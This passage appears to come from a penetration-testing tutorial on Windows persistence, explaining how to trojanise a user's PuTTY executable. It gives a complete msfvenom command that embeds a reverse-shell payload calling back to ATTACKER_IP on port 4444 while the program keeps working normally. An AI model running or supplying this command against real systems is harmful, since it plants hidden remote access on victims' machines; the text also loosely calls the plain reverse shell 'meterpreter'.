If you find any executable laying around the desktop, the chances are high that the user might use it frequently. Suppose we find a shortcut to PuTTY lying around. If we checked the shortcut's properties, we could see that it (usually) points to C:\Program Files\PuTTY\putty.exe. From that point, we could download the executable to our attacker's machine and modify it to run any payload we wanted.
You can easily plant a payload of your preference in any .exe file with msfvenom. The binary will still work as usual but execute an additional payload silently by adding an extra thread in your binary. To create a backdoored putty.exe, we can use the following command:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
The resulting puttyX.exe will execute a reverse_tcp meterpreter payload without the user noticing it. While this method is good enough to establish persistence, let's look at other sneakier techniques.